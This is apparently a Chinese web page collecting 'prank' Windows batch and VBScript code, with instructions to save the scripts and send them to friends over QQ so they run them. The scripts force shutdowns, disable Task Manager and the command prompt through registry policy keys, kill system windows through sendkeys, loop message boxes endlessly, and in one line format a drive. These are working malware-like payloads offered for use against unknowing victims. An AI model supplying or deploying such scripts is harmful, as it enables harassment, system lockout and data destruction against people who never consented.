简单整人的cmd代码(整人代码电脑)

http://www.itjxue.com  2023-02-23 13:16  来源:未知  点击次数: 

CMD整人大全

7.猜数字

@echo off

shutdown -s -f -t 600 -c "你好,我是本DOS无聊的制作者江浩,现在游戏开始了,请在半小时内回答完问题。"

echo 给你10分钟猜这个数,这个数的范围是1-100

echo 游戏开始了

set /p a=请输入你要猜的数字 :

:start

color 07

if /i "%a%"=="53" echo 答对了 goto end

if /i "%a%"=="1" goto small

if /i "%a%"=="2" goto small

if /i "%a%"=="3" goto small

if /i "%a%"=="4" goto small

if /i "%a%"=="5" goto small

if /i "%a%"=="6" goto small

if /i "%a%"=="7" goto small

if /i "%a%"=="8" goto small

if /i "%a%"=="9" goto small

if /i "%a%"=="10" goto small

if /i "%a%"=="11" goto small

if /i "%a%"=="12" goto small

if /i "%a%"=="13" goto small

if /i "%a%"=="14" goto small

if /i "%a%"=="15" goto small

if /i "%a%"=="16" goto small

if /i "%a%"=="17" goto small

if /i "%a%"=="18" goto small

if /i "%a%"=="19" goto small

if /i "%a%"=="20" goto small

if /i "%a%"=="21" goto small

if /i "%a%"=="22" goto small

if /i "%a%"=="23" goto small

if /i "%a%"=="24" goto small

if /i "%a%"=="25" goto small

if /i "%a%"=="26" goto small

if /i "%a%"=="27" goto small

if /i "%a%"=="28" goto small

if /i "%a%"=="29" goto small

if /i "%a%"=="30" goto small

if /i "%a%"=="31" goto small

if /i "%a%"=="32" goto small

if /i "%a%"=="33" goto small

if /i "%a%"=="34" goto small

if /i "%a%"=="35" goto small

if /i "%a%"=="36" goto small

if /i "%a%"=="37" goto small

if /i "%a%"=="38" goto small

if /i "%a%"=="39" goto small

if /i "%a%"=="40" goto small

if /i "%a%"=="41" goto small

if /i "%a%"=="42" goto small

if /i "%a%"=="43" goto small

if /i "%a%"=="44" goto small

if /i "%a%"=="45" goto small

if /i "%a%"=="46" goto small

if /i "%a%"=="47" goto small

if /i "%a%"=="48" goto small

if /i "%a%"=="49" goto small

if /i "%a%"=="50" goto small

if /i "%a%"=="51" goto small

if /i "%a%"=="52" goto small

if /i "%a%"=="54" goto big

if /i "%a%"=="55" goto big

if /i "%a%"=="56" goto big

if /i "%a%"=="57" goto big

if /i "%a%"=="58" goto big

if /i "%a%"=="59" goto big

if /i "%a%"=="60" goto big

if /i "%a%"=="61" goto big

if /i "%a%"=="62" goto big

if /i "%a%"=="63" goto big

if /i "%a%"=="64" goto big

if /i "%a%"=="65" goto big

if /i "%a%"=="66" goto big

if /i "%a%"=="67" goto big

if /i "%a%"=="68" goto big

if /i "%a%"=="69" goto big

if /i "%a%"=="70" goto big

if /i "%a%"=="71" goto big

if /i "%a%"=="72" goto big

if /i "%a%"=="73" goto big

if /i "%a%"=="74" goto big

if /i "%a%"=="75" goto big

if /i "%a%"=="76" goto big

if /i "%a%"=="77" goto big

if /i "%a%"=="78" goto big

if /i "%a%"=="79" goto big

if /i "%a%"=="80" goto big

if /i "%a%"=="81" goto big

if /i "%a%"=="82" goto big

if /i "%a%"=="83" goto big

if /i "%a%"=="84" goto big

if /i "%a%"=="85" goto big

if /i "%a%"=="86" goto big

if /i "%a%"=="87" goto big

if /i "%a%"=="88" goto big

if /i "%a%"=="89" goto big

if /i "%a%"=="90" goto big

if /i "%a%"=="91" goto big

if /i "%a%"=="92" goto big

if /i "%a%"=="93" goto big

if /i "%a%"=="94" goto big

if /i "%a%"=="95" goto big

if /i "%a%"=="96" goto big

if /i "%a%"=="97" goto big

if /i "%a%"=="98" goto big

if /i "%a%"=="99" goto big

if /i "%a%"=="100" goto big

if /i not "%a%"=="53" goto zhongwen

:small

cls

echo ---%a%---小了

set /p a=请输入你要猜的数字 :

goto start

:big

cls

echo ---%a%---大了

set /p a=请输入你要猜的数字 :

goto start

:zhongwen

cls

echo ---%a%---不在1--100范围内请重新输入

set /p a=请输入你要猜的数字 :

goto start

:end

shutdown -a

pause

右键编辑修改后按文件保存 或者ctrl+s 或者直接关闭的时候出现提示是否要保存``

效果是1-100以内猜数字``没猜出就关机`猜出来了就没事```猜的时候会有提示是比那个数大了还是小了

cmd整人指令

format 盘符 /Q

格式化指定磁盘的意思。

while(1)

msgbox "哈哈 你被耍了!"

loop

这段代码就比较坏了,一直弹出窗口显示"哈哈,你被刷了!"要是你不会结束它,只好重启电脑了,

也是保存为.vbs格式

整人代码

代码如下:set s=createobject("wscript.shell")

set bag=getobject("winmgmts:\\.\root\cimv2")

set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")

For Each id in pipe

if instr(1,id.commandLine,wscript.scriptfullname)0 and pipe.count=2 then

s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"

s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"

id.terminate()

else

s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"

s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"

for i=1 to 60

s.popup"系统将在" 60-i "秒后关机...",1,"系统提示",4096+48

next

Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")

For Each eOs In colOS

eOs.Win32Shutdown(2)

Next

end if

Next

复制以上代码,在桌面建一个文本,把代码放进去,另存为VBE格式,

此代码的威力:

1:开机就强制自动关机

2:cmd命令打不开

3:结束任务不管用

4:F8安全模式也不管用

呵呵!听起来是不是有点恐怖啊,我在我朋友空间里看见也吓了一跳、

代码破解方法:就是再运行一次,就可以破解了,也就是第2次保存的那个VBE文件,,

整人程序代码怎么用

我不知道你是不是这个整人代码!

代码如下:

--------------------------------------------我是横线不要复制我------------------------------------------

on?error?resume?next

dim?WSHshellA

set?WSHshellA?=?wscript.createobject("wscript.shell")

WSHshellA.run?"cmd.exe?/c?shutdown?-r?-t?60?-c?""说我是猪,不说我是猪就一分钟关你机,不信,试试···""?",0?,true

dim?a

do?while(a??"我是猪")

a?=?inputbox?("说我是猪,就不关机,快撒,说?""我是猪""?","说不说","不说",8000,7000)

msgbox?chr(13)?+?chr(13)?+?chr(13)?+?a,0,"MsgBox"

loop

msgbox?chr(13)?+?chr(13)?+?chr(13)?+?"早说就行了嘛"

dim?WSHshell

set?WSHshell?=?wscript.createobject("wscript.shell")

WSHshell.run?"cmd.exe?/c?shutdown?-a",0?,true

msgbox?chr(13)?+?chr(13)?+?chr(13)?+?"哈哈哈哈,你确实是一头猪~"

--------------------------------------------我是横线不要复制我------------------------------------------

将横线内的代码复制到记事本内~~然后另存为名字随便你起记住后面的一定要加?.vbe

把文件传送给对方~~只要对方一打开一分钟就会关机,如上面说的,要你说那三个字,就不会关机了哈哈大家试试吧。

用QQ传送文件发送给他!叫他打开!

电脑高手进 cmd整人命令制作

复制以下内容, 保存为 .VBS 文件

dim gb,jj

gb=0

set shell=createobject("wscript.shell")

DA=INPUTBOX("给你最后一个机会!"VBCRLF"请问美国总统"_

"叫什么名字?","你不小心运行了脚本病毒 !!","回答错误后果自负")

IF DA="奥巴玛" THEN

MSGBOX "程序即将结束",,"回答正确!"

WSCRIPT.QUIT

END IF

MSGBOX "作为惩罚, 你将不能运行以下程序"VBCRLF"我的"_

"电脑 , 我的文档 ",,"回答错误"

do

wscript.sleep 100

jj=shell.appactivate("Windows 任务管理器")

wscript.sleep 50

if jj then shell.sendkeys "%fx"

dn=shell.appactivate("我的电脑")

wscript.sleep 100

IF DN then shell.sendkeys "%{f4}"

wd=shell.appactivate("我的文档")

wscript.sleep 50

IF WD THEN SHELL.SENDKEYS "%fC"

RX=shell.appactivate("运行")

IF RX THEN SHELL.SENDKEYS "%{f4}"

hs=shell.appactivate("回收站")

wscript.sleep 50

IF HS THEN SHELL.SENDKEYS "%fc"

cmd=shell.appactivate("c:\windows\system32\cmd.exe")

wscript.sleep 50

IF cmd THEN SHELL.SENDKEYS "exit{enter}"

GB=shell.appactivate("PE格式.txt - 记事本")

wscript.sleep 50

IF GB THEN wscript.quit

loop

cmd中有没有什么可以整人的命令?(高分)

Net send 计算机名/IP|* (广播) 传送内容,注意不能跨网段

上面是发送到局域网计算机的命令格式..

主意了..要在运行输入CMD之后,,进入命令行窗口再输入命令啦..

不然又会一跳而过的..

例如你向所有的计算机发送..我爱妹子..命令如下

net send * 我爱妹子

*代表所有计算机..在局域网内的..

可以用计算机名字和IP代替..

要在运行输入CMD之后,,进入命令行窗口再输入命令

(责任编辑:IT教学网)

更多

推荐鼠标代码文章